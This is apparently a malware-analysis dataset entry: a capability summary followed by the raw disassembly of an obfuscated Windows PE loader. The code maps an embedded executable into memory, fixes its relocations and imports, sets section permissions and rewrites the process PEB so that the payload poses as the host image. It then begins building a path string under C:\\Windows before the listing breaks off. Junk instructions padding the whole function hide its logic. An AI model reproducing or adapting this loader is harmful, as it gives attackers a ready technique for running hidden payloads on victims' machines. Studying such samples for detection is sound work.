Function at 0x408000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
neg eax
bswap edx
ror esi, 0x2c
sbb eax, 0xfb
add esi, 0x58
not esi
rol edi, 0x7d
sub edx, 0x95
rcl esi, 8
mov edx, 0xf2
neg edi
inc eax
or esi, 0xea
sbb edx, 0x12
imul esi
neg edx
dec esi
not esi
ror edx, 0xdc
sbb edx, 0xa1
and eax, 0x1d
sbb edx, 0x16
bswap eax
sub esi, 0xbd
ror edx, 0x6c
or edi, 0x5e
rcr edi, 0x67
sub edi, 0x30
add edx, 0x2f
imul esi
dec eax
add edx, 0x2c
neg eax
dec edi
not ebx
mov edx, 0xe9
dec esi
or edx, 0x5c
imul eax
ror esi, 0xac
rcr ebx, 0x1e
mov eax, 0xf7
not edi
mov eax, 0x9e
neg edx
add ebx, 0xe7
add eax, 0xb2
imul eax
not edx
rcl ebx, 0x57
rcr eax, 0x70
not edi
inc esi
not eax
inc edx
bswap esi
ror edx, 0x4b
sbb esi, 0xe9
neg esi
or esi, 0x59
dec eax
not esi
rcr edi, 0x9f
sub edx, 0xd
inc ebx
bswap esi
imul ebx
neg ebx
rcl ebx, 0xe8
neg esi
sub edx, 0xe8
sub ebx, 0x87
or ebx, 0xa1
rol eax, 4
dec eax
sbb ebx, 0xaf
not ebx
neg edi
not esi
rol edi, 0x75
bswap edx
sub edx, 0x3a
mov ebx, 0x16
dec edi
inc edx
rol edx, 0x19
sub eax, 0x6a
inc ebx
rol edi, 0x57
sub ebx, 0x2f
ror edi, 0xb2
rcr esi, 0x9f
dec ebx
sub ebx, 0x21
not eax
dec ebx
or edi, 0x74
neg ebx
bswap eax
sbb ebx, 5
dec eax
and eax, 0x3c
inc edi
and esi, 0x86
mov eax, 0xb1
rol esi, 0x34
rcl esi, 0x3f
imul eax
mov edi, 0xce
add esi, 0xf0
and esi, 0x3e
inc edi
bswap eax
mov esi, 0x7f
and eax, 0x80
not edi
imul edx
not ebx
neg eax
rcr eax, 0x5b
rol esi, 0x26
add esi, 0x3c
neg esi
ror ebx, 0x3a
ror eax, 0x3b
ror ebx, 0xee
inc eax
add esi, 0xba
sub edx, 0xe
rcl ebx, 0x45
inc esi
bswap ebx
imul esi
mov eax, 0x7c
mov ebx, 0xb1
rol edx, 0x2d
not eax
add esi, 0x40
inc ebx
imul ebx
or esi, 0x6e
rcr edi, 0x23
inc esi
dec esi
bswap esi
inc edx
rol eax, 0xaa
dec eax
rcl ebx, 0x63
neg esi
sbb edx, 0x95
bswap edi
rcl esi, 0x62
not esi
bswap edx
inc edx
or edi, 0xaa
sbb edi, 0xda
neg eax
and edi, 0x3e
rcr edi, 0x8e
rol edx, 2
add esi, 0x80
inc ebx
rol ebx, 0x72
neg esi
rcr edx, 0xd
neg edx
not ebx
neg edi
and eax, 0xd6
rcl edi, 0x43
mov ebx, 0x47
not edi
imul esi
not edx
dec esi
rcl esi, 4
inc esi
sbb edi, 0x71
not edi
neg edx
inc eax
rol edx, 6
sub eax, 0x30
sbb eax, 0xc3
bswap ebx
add eax, 0x32
sbb eax, 0x46
bswap edi
imul edi
sbb edi, 0x8e
inc edx
imul ebx
neg esi
ror eax, 0xec
rcr ebx, 0x95
imul eax
inc esi
dec eax
push 0x52200
push 0x40c008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40c008
neg esi
and edi, 0xc1
neg ebx
rol edi, 0xca
not esi
ror edx, 0xee
bswap edi
dec esi
inc esi
inc edi
dec ebx
sbb ebx, 0x66
rcr ebx, 0x29
and ebx, 0x30
not edx
dec eax
bswap ebx
not esi
not eax
not eax
inc eax
rcr ebx, 0x1a
sbb edx, 0x15
sbb edx, 0x6b
not edx
imul eax
rcr ebx, 0x3b
or eax, 0x73
neg esi
mov ebx, 0xf3
inc eax
inc edx
not ebx
not edx
and edx, 0x2b
dec ebx
imul edx
imul esi
mov ebx, 0xee
sub edx, 0xe5
neg edx
sbb esi, 0xc8
neg edi
or edx, 0x57
inc edi
imul ebx
rol edi, 0x64
dec edx
rcr edx, 0xec
not eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x4082fd
mov eax, 1
jmp 0x4098e8
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x408330
mov dword [ebp - 0x110], 0
jmp 0x40833f
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x408387
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x408387
mov eax, 2
jmp 0x4098e8
ror edx, 0x99
neg eax
bswap edi
add esi, 0xd
rcl esi, 0x3a
neg eax
imul esi
or edi, 0x9d
bswap edx
and eax, 0xd4
rcr ebx, 0xb
or edx, 0xab
mov edi, 0x17
imul esi
inc edi
or edi, 0x74
rcr eax, 0xf3
rcl edi, 0xa0
rcr ebx, 0x50
and esi, 0xb6
rcr ebx, 0x52
imul eax
add edi, 0xaa
sub ebx, 0xc7
rcl eax, 0xfe
bswap esi
ror eax, 0x3b
dec edi
inc edi
rcr ebx, 0x24
rcl esi, 0x65
mov edi, 0x6e
bswap esi
not ebx
or edx, 0x5b
sub ebx, 0x2f
sbb edi, 0xaf
add ebx, 3
mov edx, 0xdb
or ebx, 0x10
neg esi
not ebx
inc esi
imul ebx
rcr eax, 0xe5
not eax
bswap esi
not edi
bswap eax
or esi, 0x7d
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401210
add esp, 0xc
inc edi
or eax, 0xf4
dec edi
dec esi
dec esi
imul edi
add esi, 0x98
or ebx, 0xc7
rcl ebx, 0x35
dec edi
not eax
sub ebx, 0x3e
sub edx, 4
rcr ebx, 0x5f
neg esi
or ebx, 0x61
imul esi
mov eax, 0xa4
add ebx, 0xc
dec ebx
not edx
bswap edx
inc edx
sbb ebx, 0x28
inc ebx
neg edx
sbb edx, 9
ror edx, 0xb3
neg ebx
rcr edi, 0xf
neg esi
add edx, 0xba
rcl esi, 0x34
neg edi
rcl ebx, 0x21
rcl edi, 0x30
sub ebx, 0xa9
rcl ebx, 7
rol esi, 0x9d
sbb edx, 0xa
rcl edx, 0xe1
neg esi
inc edx
inc edi
ror ebx, 0x14
dec edx
or eax, 0x13
dec ebx
sbb edx, 0xc5
rcr ebx, 0x87
rol ebx, 0x50
and eax, 0x33
not ebx
inc edx
or esi, 0xd1
imul esi
and edx, 0xd4
not eax
or eax, 0xb4
sbb edi, 0x9e
not eax
inc edx
sub edi, 0x43
or esi, 4
rcr edx, 0x43
bswap edx
bswap esi
or eax, 0x23
inc edi
or eax, 0x39
neg ebx
bswap esi
imul edi
or eax, 0x60
sub esi, 0x73
neg edi
add esi, 0x28
neg edi
rcr edx, 0x29
bswap edx
imul edx
and ebx, 0xb2
bswap eax
inc edi
not esi
dec eax
dec ebx
not esi
not edi
rcr esi, 0xa5
not eax
mov ebx, 0x74
inc esi
add edx, 0x8f
imul ebx
imul edi
ror ebx, 0xdd
mov edx, 0xc0
or edx, 0x70
and edx, 0xe9
dec eax
not edi
inc ebx
sub ebx, 0x5e
add edi, 0xa2
bswap esi
dec ebx
and esi, 0x9e
rcl ebx, 0xe0
mov ebx, 0xd2
rcr ebx, 0x8d
rcr esi, 0x51
neg edx
sbb eax, 0x5f
add eax, 0x1b
sbb eax, 0x5f
neg ebx
rcl eax, 0xe8
inc ebx
rcl esi, 0xb5
not edi
imul edx
bswap ebx
imul edi
sub edi, 0x69
inc esi
rol ebx, 0xdb
dec edi
sub edi, 0x44
inc edi
and eax, 0x90
sub edi, 0xda
add eax, 0x95
rol edi, 0x76
sub edx, 0x90
dec edi
and eax, 0x31
inc eax
rol eax, 0x18
rcr edi, 0xb6
rcr ebx, 0xdb
rcr esi, 0xd0
rcr ebx, 0x79
imul eax
mov edi, 0x1a
imul ebx
ror ebx, 0xbf
inc edi
dec edi
add eax, 0x96
imul edi
dec edi
rol esi, 4
neg edx
add eax, 0x51
mov eax, 0xcc
not eax
rcl edx, 0xf0
imul eax
neg esi
bswap edi
add esi, 0x3e
imul esi
imul edx
mov esi, 0x61
sbb ebx, 0x7d
ror edx, 0xd3
neg ebx
rol ebx, 0x99
mov ebx, 7
rcl eax, 0xcf
neg ebx
imul edx
and ebx, 0x7f
dec eax
inc edi
ror eax, 0xe2
not ebx
mov ebx, 0x16
rcl edx, 0xa0
and edx, 0x27
sbb edx, 0xe1
dec esi
or ebx, 0xb2
neg edx
mov esi, 0xda
dec edi
imul edx
dec edi
bswap esi
rol edi, 0xfd
rol esi, 0xa7
not esi
inc eax
neg ebx
not edx
bswap eax
inc edi
bswap esi
not edx
rcl edi, 0x38
rcr ebx, 0xca
dec edx
ror eax, 0xb9
inc edi
bswap eax
neg edx
or edx, 0xfd
bswap esi
rol eax, 0x7a
inc edx
ror edx, 0x9d
rol esi, 0x30
rcr ebx, 0xcd
not edi
rol edx, 0xe1
neg esi
dec edx
bswap eax
imul ebx
dec eax
ror edx, 0x49
add eax, 0xaa
inc edi
sub edi, 0x6b
ror edi, 0xbf
dec esi
or edi, 0x59
bswap edx
imul edx
dec eax
sbb esi, 0xe7
bswap edx
ror ebx, 0xb3
and ebx, 0xc4
rcr eax, 0xbf
rol ebx, 0xc6
and edx, 0x41
bswap eax
bswap esi
add ebx, 0xc4
rol ebx, 0x18
neg edx
add eax, 0x5a
mov eax, 0x7c
ror esi, 0xf0
sbb ebx, 0x3e
rcl edx, 0xaa
dec edx
sub ebx, 0xbf
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x408714
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x408775
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401210
add esp, 0xc
jmp 0x408705
rcl esi, 0x69
ror edx, 0xee
dec edi
neg edx
imul ebx
mov eax, 0xfa
neg esi
rcl eax, 0xf4
imul edi
neg ebx
inc eax
rcl eax, 0xf1
dec edi
not edx
sub edx, 0xd3
neg edi
sbb esi, 0x7e
sub edi, 0xe8
neg eax
bswap edx
dec esi
add edi, 0x44
sbb eax, 0xf4
and edx, 0xe
bswap ebx
ror ebx, 0x8f
imul esi
not edx
dec edi
mov esi, 0xe9
and eax, 0x5c
and edi, 0x66
or esi, 0x5b
dec edx
dec esi
ror ebx, 0x29
mov esi, 0xfc
mov ebx, 0xdd
add eax, 0xfe
neg ebx
sub esi, 0xc3
imul edi
or esi, 0x62
sub esi, 0xa5
not edi
sbb edx, 0x51
rcl edi, 9
rcl esi, 0xef
neg esi
neg ebx
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x408939
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x408939
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x4088ae
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x408913
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x408902
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x40889f
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x40884a
mov ebx, 0x55
or esi, 0x7d
imul eax
and eax, 0xcf
rcl esi, 0xe
or eax, 0xfc
imul ebx
ror edx, 0x32
sbb eax, 0xa4
ror eax, 0x4c
neg ebx
not edx
neg esi
dec eax
bswap esi
inc ebx
ror edi, 0xab
and esi, 0x85
sub esi, 0x7f
dec edi
and eax, 0xbb
ror ebx, 0xde
not edi
imul ebx
bswap edi
neg esi
and eax, 0x8a
not edx
imul esi
neg edi
dec esi
not eax
mov edi, 0x21
neg edi
bswap ebx
rcr eax, 0xed
neg ebx
inc ebx
mov edi, 0x59
and edx, 0x93
bswap edx
rol edx, 0x30
ror eax, 0x16
mov eax, 0xea
sub eax, 0x6e
rcr esi, 0xeb
imul edi
imul edx
rcr edx, 0x64
inc eax
inc ebx
inc esi
or esi, 0x8b
sub eax, 0xc9
or edx, 0x15
imul eax
rol ebx, 0xb6
rcr edi, 0xfd
add edx, 0xbd
add edx, 0xbc
neg eax
dec ebx
rcl esi, 0x39
sbb edi, 0xf5
mov esi, 0x91
rol eax, 0xa6
add edi, 0x34
neg eax
inc ebx
dec edi
inc ebx
and edi, 0x9c
sub eax, 0xc6
mov eax, 0xd2
rol esi, 0x23
and ebx, 0x6f
ror esi, 0xb6
ror ebx, 0xb0
ror esi, 0xd6
and edi, 0x45
dec edi
imul esi
mov eax, 0x81
rcl esi, 0x5d
neg ebx
bswap ebx
ror esi, 0xd4
bswap eax
rol esi, 0x6e
inc edi
dec ebx
sbb eax, 0x44
or eax, 8
rol eax, 7
rcl edi, 0x12
bswap edx
rcl edx, 0x86
bswap ebx
imul eax
inc edx
neg eax
or eax, 0xfe
sub eax, 0x7c
rcr edx, 0x4a
or eax, 0x7a
ror ebx, 0xb3
mov edx, 0x18
dec edi
bswap esi
inc ebx
neg edx
mov eax, 0x1f
mov edi, 0x6b
inc edx
bswap eax
sbb eax, 0x5b
or edi, 0x23
rol eax, 0x27
mov ebx, 0x74
sbb esi, 0x40
ror eax, 0x5a
dec edi
rcr esi, 0x93
rcl edi, 0
or eax, 0x92
rcr esi, 0xd7
bswap esi
rcr eax, 0x26
rcr edx, 0x60
mov edx, 0xbb
inc eax
rol ebx, 0xce
neg eax
and edi, 0xd4
mov esi, 0xf3
sub eax, 0x30
sub ebx, 0xb6
dec esi
rcl ebx, 0x2a
dec eax
add edi, 0x97
ror edi, 0x46
rcl ebx, 0xc5
dec edx
bswap ebx
and ebx, 0x7f
bswap edx
imul eax
or edx, 0xef
rcr eax, 0x6d
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x408b24
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x408c62
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x408b7b
jmp 0x408b15
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x408bb5
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x408c5d
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x408c30
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x408ba6
jmp 0x408b15
mov dword [ebp - 0x104], 0
jmp 0x408c7d
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x408d9b
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408ceb
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408ceb
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x408ceb
mov dword [ebp - 0x108], 0x40
jmp 0x408d52
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408d13
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408d13
mov dword [ebp - 0x108], 4
jmp 0x408d52
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x408d3a
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x408d3a
mov dword [ebp - 0x108], 0x20
jmp 0x408d52
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x408d52
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401230
add esp, 0x10
jmp 0x408c6e
not esi
sub esi, 0x4d
rol eax, 0x3b
neg edx
inc esi
dec eax
mov edi, 0x8f
mov edx, 0xf5
imul ebx
rcl eax, 0x30
not eax
neg esi
inc ebx
add esi, 0xe1
dec esi
add eax, 0x88
not edx
or eax, 0x79
ror edx, 0x11
imul edx
sub ebx, 0x24
dec edx
imul edi
bswap ebx
and eax, 0x1f
or ebx, 0x10
not eax
sub ebx, 0x2b
sbb eax, 0x2c
mov edi, 0x57
bswap edx
imul edx
sub edx, 0xb2
sub edx, 0xbb
neg edx
mov ebx, 0xe1
sbb ebx, 0x96
imul ebx
bswap edx
rol esi, 0xc
bswap ebx
rcr esi, 0xf9
dec edi
rol eax, 0x20
rcl ebx, 0x42
mov esi, 0x4d
sbb esi, 5
imul edx
dec edx
rol esi, 0x89
dec eax
bswap esi
bswap edx
rcr edx, 0xc1
imul edi
rcl edx, 0x51
sub eax, 0xbf
sub esi, 0
add edx, 0x9c
inc esi
inc edx
mov esi, 0xca
not esi
not ebx
inc eax
inc ebx
mov edi, 0xdb
bswap eax
dec edx
mov esi, 0x52
bswap edx
dec esi
add ebx, 0x73
rol edi, 0x8a
neg eax
add ebx, 0x5a
neg edi
rol ebx, 0x6f
bswap ebx
dec eax
bswap edi
add esi, 0x31
ror edx, 0x85
not eax
dec eax
not edi
dec ebx
dec esi
sub esi, 0xd4
rol edx, 0x96
or edi, 0xa
rcl edi, 0x95
or eax, 0x3c
neg edi
inc eax
rcr eax, 0x51
bswap edi
not eax
neg edx
add esi, 0x27
sub eax, 0x20
bswap esi
sub eax, 0x3e
mov ebx, 0x85
neg edx
imul edx
add eax, 0xe0
not ebx
mov edx, 0xc8
mov ebx, 0xf4
mov esi, 0x8d
bswap esi
neg edx
dec eax
sbb eax, 0xc
neg edi
sbb esi, 0x68
rcr esi, 0x27
neg eax
or esi, 0x3a
add eax, 0xf9
not edi
rcr eax, 0xb5
dec ebx
inc ebx
inc edx
sub esi, 0xd
dec eax
dec ebx
inc eax
dec eax
neg esi
dec edi
sub ebx, 0x5e
bswap esi
and edi, 0xe5
add edx, 0x6d
mov ebx, 0xb4
bswap edi
rol edi, 0x8f
inc edx
neg eax
rcl edx, 0x6e
or ebx, 0xaa
inc ebx
rol ebx, 0x32
bswap eax
sbb esi, 0xcc
bswap ebx
not edi
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
dec edi
dec edi
or esi, 0x12
dec esi
ror edi, 0x47
rol ebx, 0x81
inc esi
inc ebx
sbb eax, 0x90
and edx, 0xd1
sub esi, 0x6e
sbb ebx, 0x27
rcr edi, 0xf3
sub edx, 0xb1
sbb edx, 0x7d
sub eax, 0xff
imul edi
rcr edx, 0x3f
add edi, 0x48
or eax, 0xf5
or eax, 0x3f
neg esi
rol edi, 0x3f
rol edi, 0x29
or ebx, 0x5c
inc eax
add eax, 0x91
sbb ebx, 0x4d
ror edi, 0x5c
rcl edi, 0x7a
inc edi
or ebx, 0xb4
imul esi
neg edx
and edi, 0x22
dec eax
sub esi, 0x50
rcl edi, 0xef
bswap esi
rol ebx, 0x76
rcl eax, 0x3f
rol eax, 0x6d
not edi
rol ebx, 0x23
not ebx
sub edx, 0x2b
rcl ebx, 0x84
ror ebx, 0x37
add ebx, 0xb7
neg eax
rcr ebx, 0x83
bswap edi
inc ebx
add edi, 0xde
or edx, 0x43
dec edx
add esi, 3
sub edx, 0x21
inc eax
imul ebx
rcl edi, 0x34
inc edx
not eax
rcr eax, 0x7f
neg ebx
neg eax
sbb edi, 0x1e
and edx, 0x63
neg esi
or ebx, 0x7e
sbb edi, 0xe0
inc eax
sbb edx, 0x1e
ror edi, 0xcd
or eax, 0x84
sub edx, 0x94
ror edi, 0xc6
dec ebx
rol edi, 0xa8
dec eax
or ebx, 0x3f
rcl ebx, 0x9b
and esi, 0xac
inc eax
mov ebx, 0x37
add esi, 0xad
rcl esi, 0x6c
rcl edx, 0x45
bswap edi
not edx
neg edi
add ebx, 0x66
imul ebx
rcr edx, 0xc0
add ebx, 0x47
dec esi
add ebx, 0x22
inc edx
ror edx, 0xce
or eax, 0xc8
dec edx
bswap esi
inc eax
sub eax, 0x9c
inc edi
sub esi, 0x94
ror esi, 0xc1
inc edi
mov esi, 0x6a
add ebx, 0x21
sbb edi, 0x9a
not edx
rcr ebx, 0x38
imul esi
bswap edx
sbb eax, 0x8e
neg eax
sbb ebx, 0x4d
add ebx, 0x4d
sbb ebx, 0xdd
sub eax, 0x2b
and eax, 0x3e
not edx
or edi, 0x16
sub eax, 0xfd
bswap eax
imul ebx
bswap ebx
inc edi
add edx, 0xab
dec esi
bswap eax
or edx, 0x69
not ebx
ror edi, 0xb6
rcr edi, 0xbd
rol esi, 0xa5
inc edx
rol eax, 0x57
sbb eax, 0xca
sub ebx, 0xd3
inc edi
mov edx, 0x8b
rcr eax, 0x54
ror esi, 0xe
bswap esi
ror esi, 0x6a
not esi
inc esi
and ebx, 0xc7
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
bswap esi
imul ebx
mov esi, 0x47
sbb eax, 0xb1
sbb ebx, 0x3b
rcr ebx, 0xff
bswap edi
add edi, 7
inc edx
imul edx
and edi, 0xa6
sub edi, 0x27
neg edi
and eax, 0xbc
bswap edx
sub edx, 0x3d
inc edi
and eax, 0x9c
rcr ebx, 0x9b
sbb edi, 0x1b
rcr edi, 0xc3
ror esi, 0xd2
imul eax
not edi
bswap edx
imul edx
inc eax
inc esi
not edi
inc edx
dec edx
sub edi, 0x6e
and eax, 0x3a
imul eax
bswap edx
mov eax, 0x34
inc ebx
dec esi
ror esi, 0x4a
inc ebx
sub eax, 0x30
neg edx
imul eax
bswap edi
imul eax
inc edi
imul ebx
and edx, 0x3b
ror edi, 0x88
imul eax
neg edi
rcl edx, 6
dec edx
add edx, 0xf2
ror ebx, 0xf
or ebx, 0xd6
not eax
mov esi, 0x7f
imul edx
imul eax
or edx, 0x47
rcl edi, 0xe5
dec edx
bswap eax
rcr edx, 0x9b
dec eax
rcr eax, 0xe4
and eax, 0x5b
mov edx, 0x23
not edx
neg edi
inc edi
inc eax
not edi
mov edi, 0x1e
imul edx
imul edx
inc eax
mov esi, 0x3b
dec edx
bswap ebx
imul edi
neg esi
imul edi
dec esi
imul ebx
rcl edx, 0xc4
mov edi, 0x3d
add ebx, 0xcc
mov edi, 0x15
neg ebx
rcr edi, 1
sbb edi, 0x2c
not edi
bswap ebx
rol esi, 0x2d
bswap edx
rcr eax, 0x37
dec esi
mov edi, 0x97
sbb ebx, 0x74
sub ebx, 0xe
rcl edi, 0x88
inc eax
bswap esi
inc edx
rcr edi, 0xc1
rol edi, 0x81
rcr edi, 0xcc
ror edi, 0x21
ror edx, 0xd5
add esi, 0xc
add eax, 0x4b
sbb edx, 0x19
add edi, 0xf1
and ebx, 0x7d
not esi
imul edx
dec ebx
inc esi
not ebx
rcl eax, 0x5a
rol eax, 0xb9
dec esi
sub eax, 0x90
dec edi
and edx, 0xf9
neg esi
mov edi, 0xb0
inc eax
neg esi
inc eax
sub edi, 0x85
bswap eax
not esi
ror edi, 0xa8
rcl ebx, 0x92
inc eax
not ebx
add edi, 0xf9
rcl ebx, 0x7f
bswap edx
sub ebx, 0xaa
bswap esi
or esi, 0x49
ror esi, 0x9e
bswap eax
rcr edx, 0x39
mov esi, 0xb0
bswap edx
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
